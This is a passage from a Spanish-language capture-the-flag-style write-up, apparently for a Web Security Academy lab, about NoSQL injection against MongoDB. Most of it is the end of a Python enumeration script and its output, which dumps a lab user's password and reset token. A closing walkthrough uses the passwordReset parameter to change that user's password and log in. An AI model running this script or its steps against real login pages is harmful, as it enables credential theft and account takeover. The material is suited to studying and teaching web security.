log.warning("No valid results found. File created but empty.")
return False
log.info(f"Results saved to {output_file}")
return True
except Exception as e:
log.error(f"Failed to save results: {e}")
return False
def main(url, proxy_url=None, verify_ssl=True, output_file='fields.txt'):
session = initialize_session(proxy_url, verify_ssl)
total_fields = get_number_of_fields(session, url)
if total_fields is None:
log.error("Failed to enumerate number of fields")
return
field_lengths_list = get_field_lengths(session, url, total_fields)
if not field_lengths_list:
log.error("Failed to enumerate field lengths")
return
field_names_list = get_field_names(session, url, field_lengths_list)
if not field_names_list:
log.error("Failed to enumerate field names")
return
field_indexes = prompt_field_selection(total_fields, field_names_list)
if not field_indexes:
log.error("No valid field indexes selected")
return
field_value_lengths = get_field_value_lengths(session, url, field_names_list, field_indexes)
if not field_value_lengths:
log.error("Failed to enumerate field value lengths")
return
field_values = get_field_value_names(session, url, field_names_list, field_value_lengths, field_indexes)
if not field_values:
log.error("Failed to enumerate field values")
return
save_and_display_results(field_indexes, field_names_list, field_values, output_file)
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='MongoDB Fields Enumeration via NoSQL Injection',
add_help=False
)
parser.add_argument('-h', '--help',
action='help',
help='Show this help message and exit')
parser.add_argument('-u', '--url',
required=True,
metavar='',
help='Target URL (e.g. https://example.com/login)')
parser.add_argument('-p', '--proxy',
metavar='',
help='Proxy URL (e.g. http://127.0.0.1:8080)')
parser.add_argument('-k', '--insecure',
action='store_true',
help='Disable SSL certificate verification (for self-signed certificates/invalid certificates)')
parser.add_argument('-o', '--output',
default='fields.txt',
metavar='',
help='Output file (default: fields.txt)')
args = parser.parse_args()
main(url=args.url, proxy_url=args.proxy, verify_ssl=not args.insecure, output_file=args.output)
Al ejecutar el script, obtenemos todos los campos y sus valores
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# python NoSQLI-Field-Dumper.py -u https://0a61004f04107147821b5bdb006e007f.web-security-academy.net/login
[+] Enumerating number of fields: Completed
[+] Fields found: 5
[+] Enumerating field lengths: Completed
[+] Field 0: 3
[+] Field 1: 8
[+] Field 2: 8
[+] Field 3: 5
[+] Field 4: 13
[+] Enumerating field names: Completed
[+] Field 0: _id
[+] Field 1: username
[+] Field 2: password
[+] Field 3: email
[+] Field 4: passwordReset
[?] Enter field indexes to dump (0-4, comma-separated) or 'all' for all fields: all
[+] Enumerating field value lengths: Completed
[+] Field 0: 24
[+] Field 1: 6
[+] Field 2: 20
[+] Field 3: 25
[+] Field 4: 16
[+] Enumerating field values: Completed
[+] Field 0: 692888cf83d95f4a31a66099
[+] Field 1: carlos
[+] Field 2: 01il0plarevauyj0332v
[+] Field 3: carlos@carlos-montoya.net
[+] Field 4: 8f291540f37e7382
[*] Fields and values
[*] _id:692888cf83d95f4a31a66099
[*] username:carlos
[*] password:01il0plarevauyj0332v
[*] email:carlos@carlos-montoya.net
[*] passwordReset:8f291540f37e7382
[*] Results saved to fields.txt
El siguiente paso es averiguar como podemos proporcionar el valor. He capturado la petición a /forgot-password y la he mandado al Repeater, si nos fijamos bien vemos que el Content-Length es de 3060
Si hacemos la petición a /forgot-password?foo=invalid vemos que el resultado sigue siendo el mismo. Esto lo hacemos para ver si nos arroja algún error
Si hacemos la petición a /forgot-password?209117d5680cebf8=invalid el resultado sigue siendo el mismo
Sin embargo, si hacemos la petición /forgot-password?passwordReset el resultado es diferente
Si accedemos a /forgot-password?passwordReset=691ba2e24d15a582 vemos un panel mediante el cual podemos cambiar la contraseña al usuario carlos
Accedemos mediante el navegador a esta URL y le cambiamos a carlos su contraseña
Nos logueamos como el usuario carlos


















































